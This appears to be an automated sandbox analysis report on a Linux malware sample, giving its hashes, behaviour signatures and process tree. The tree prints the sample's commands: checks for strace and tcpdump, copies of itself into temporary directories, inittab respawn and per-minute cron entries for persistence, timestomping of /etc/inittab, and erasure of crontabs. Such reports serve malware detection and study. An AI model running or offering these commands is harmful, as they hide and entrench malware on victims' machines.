Analysis
-
max time kernel
0s -
max time network
102s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
submitted
24-03-2022 13:18
Static task
static1
Behavioral task
behavioral1
Sample
71a0b26e851ec57a16a0a8038f515ad6
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
General
-
Target
71a0b26e851ec57a16a0a8038f515ad6
-
Size
1.9MB
-
MD5
71a0b26e851ec57a16a0a8038f515ad6
-
SHA1
5907e161bd31cba0cd932253fa1e3b7590450b1f
-
SHA256
7c4e9e95a27147623ec5b3be81c76c131a0871d75f50b148b93e88ef6ee0b468
-
SHA512
c8fb784b28b691ac255cd1391bdcdf84f35d306c86b082df6376cdbfcd832bbc538db6eda041e0d14b8d99a769a5de3f7e2a734145df2414d38cd0cf98120adc
Score
5/10
Malware Config
Signatures
-
Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
Processes:
cpcpcpcpdescription ioc process /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes:
cpcpcpcpdescription ioc process /tmp/71a0b26e851ec57a16a0a8038f515ad6 /tmp/71a0b26e851ec57a16a0a8038f515ad6 cp /tmp/71a0b26e851ec57a16a0a8038f515ad6 /tmp/71a0b26e851ec57a16a0a8038f515ad6 cp /tmp/71a0b26e851ec57a16a0a8038f515ad6 /tmp/71a0b26e851ec57a16a0a8038f515ad6 cp /tmp/71a0b26e851ec57a16a0a8038f515ad6 /tmp/71a0b26e851ec57a16a0a8038f515ad6 cp
Processes
-
./71a0b26e851ec57a16a0a8038f515ad6./71a0b26e851ec57a16a0a8038f515ad61⤵PID:593
-
/bin/shsh -c "pidof -x strace > /dev/null"2⤵PID:594
-
/bin/pidofpidof -x strace3⤵PID:595
-
/bin/shsh -c "pidof -x tcpdump > /dev/null"2⤵PID:596
-
/bin/pidofpidof -x tcpdump3⤵PID:597
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"2⤵PID:600
-
/bin/catcat /etc/inittab3⤵PID:603
-
/bin/grepgrep -v /tmp/71a0b26e851ec57a16a0a8038f515ad63⤵PID:606
-
/bin/shsh -c "echo \"0:2345:respawn:/tmp/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"2⤵PID:609
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:612
-
/bin/catcat /etc/inittab23⤵PID:614
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:615
-
/bin/rmrm -rf /etc/inittab23⤵PID:616
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵PID:617
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵PID:618
-
/bin/shsh -c "crontab -l | grep /tmp/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"1⤵PID:601
-
/bin/grepgrep /tmp/71a0b26e851ec57a16a0a8038f515ad62⤵PID:607
-
/usr/bin/crontabcrontab -l2⤵PID:604
-
/bin/grepgrep -v "no cron"2⤵PID:608
-
/usr/bin/crontabcrontab -2⤵PID:611
-
/bin/shsh -c "crontab -r"1⤵PID:602
-
/usr/bin/crontabcrontab -r2⤵PID:605
-
/usr/bin/crontabcrontab -l1⤵PID:613
-
/bin/shsh -c "cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /dev/shm/71a0b26e851ec57a16a0a8038f515ad6"1⤵PID:622
-
/bin/cpcp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /dev/shm/71a0b26e851ec57a16a0a8038f515ad62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:627
-
/bin/shsh -c "/bin/uname -n"1⤵PID:626
-
/bin/uname/bin/uname -n2⤵PID:628
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"1⤵PID:630
-
/bin/catcat /etc/inittab2⤵PID:631
-
/bin/grepgrep -v /dev/shm/71a0b26e851ec57a16a0a8038f515ad62⤵PID:634
-
/bin/shsh -c "crontab -l | grep /dev/shm/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"1⤵PID:632
-
/usr/bin/crontabcrontab -l2⤵PID:633
-
/bin/grepgrep /dev/shm/71a0b26e851ec57a16a0a8038f515ad62⤵PID:635
-
/bin/grepgrep -v "no cron"2⤵PID:636
-
/usr/bin/crontabcrontab -2⤵PID:639
-
/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"1⤵PID:637
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:640
-
/bin/catcat /etc/inittab22⤵PID:642
-
/usr/bin/crontabcrontab -l1⤵PID:641
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:643
-
/bin/rmrm -rf /etc/inittab22⤵PID:644
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:645
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:646
-
/bin/shsh -c "cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/tmp/71a0b26e851ec57a16a0a8038f515ad6"1⤵PID:647
-
/bin/cpcp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/tmp/71a0b26e851ec57a16a0a8038f515ad62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:648
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"1⤵PID:650
-
/bin/catcat /etc/inittab2⤵PID:651
-
/bin/grepgrep -v /var/tmp/71a0b26e851ec57a16a0a8038f515ad62⤵PID:653
-
/bin/shsh -c "crontab -l | grep /var/tmp/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"1⤵PID:652
-
/usr/bin/crontabcrontab -l2⤵PID:654
-
/bin/grepgrep /var/tmp/71a0b26e851ec57a16a0a8038f515ad62⤵PID:656
-
/bin/grepgrep -v "no cron"2⤵PID:657
-
/usr/bin/crontabcrontab -2⤵PID:661
-
/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"1⤵PID:655
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:658
-
/bin/catcat /etc/inittab22⤵PID:659
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:662
-
/bin/rmrm -rf /etc/inittab22⤵PID:664
-
/usr/bin/crontabcrontab -l1⤵PID:663
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:665
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:666
-
/bin/shsh -c "cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/lock/71a0b26e851ec57a16a0a8038f515ad6"1⤵PID:667
-
/bin/cpcp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/lock/71a0b26e851ec57a16a0a8038f515ad62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:668
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"1⤵PID:670
-
/bin/catcat /etc/inittab2⤵PID:671
-
/bin/grepgrep -v /var/lock/71a0b26e851ec57a16a0a8038f515ad62⤵PID:673
-
/bin/shsh -c "crontab -l | grep /var/lock/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"1⤵PID:672
-
/usr/bin/crontabcrontab -l2⤵PID:674
-
/bin/grepgrep /var/lock/71a0b26e851ec57a16a0a8038f515ad62⤵PID:675
-
/bin/grepgrep -v "no cron"2⤵PID:676
-
/usr/bin/crontabcrontab -2⤵PID:680
-
/bin/shsh -c "echo \"0:2345:respawn:/var/lock/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"1⤵PID:677
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:678
-
/bin/catcat /etc/inittab22⤵PID:681
-
/usr/bin/crontabcrontab -l1⤵PID:682
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:683
-
/bin/rmrm -rf /etc/inittab22⤵PID:684
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:685
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:686
-
/bin/shsh -c "cp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/run/71a0b26e851ec57a16a0a8038f515ad6"1⤵PID:687
-
/bin/cpcp -f /tmp/71a0b26e851ec57a16a0a8038f515ad6 /var/run/71a0b26e851ec57a16a0a8038f515ad62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:688
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/71a0b26e851ec57a16a0a8038f515ad6\" > /etc/inittab2"1⤵PID:690
-
/bin/catcat /etc/inittab2⤵PID:691
-
/bin/grepgrep -v /var/run/71a0b26e851ec57a16a0a8038f515ad62⤵PID:694
-
/bin/shsh -c "crontab -l | grep /var/run/71a0b26e851ec57a16a0a8038f515ad6 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/71a0b26e851ec57a16a0a8038f515ad6 > /dev/null 2>&1 &\") | crontab -"1⤵PID:692
-
/usr/bin/crontabcrontab -l2⤵PID:693
-
/bin/grepgrep /var/run/71a0b26e851ec57a16a0a8038f515ad62⤵PID:695
-
/bin/grepgrep -v "no cron"2⤵PID:696
-
/usr/bin/crontabcrontab -2⤵PID:700
-
/bin/shsh -c "echo \"0:2345:respawn:/var/run/71a0b26e851ec57a16a0a8038f515ad6\" >> /etc/inittab2"1⤵PID:697
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:698
-
/bin/catcat /etc/inittab22⤵PID:701
-
/usr/bin/crontabcrontab -l1⤵PID:702
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:703
-
/bin/rmrm -rf /etc/inittab22⤵PID:704
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:705
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:706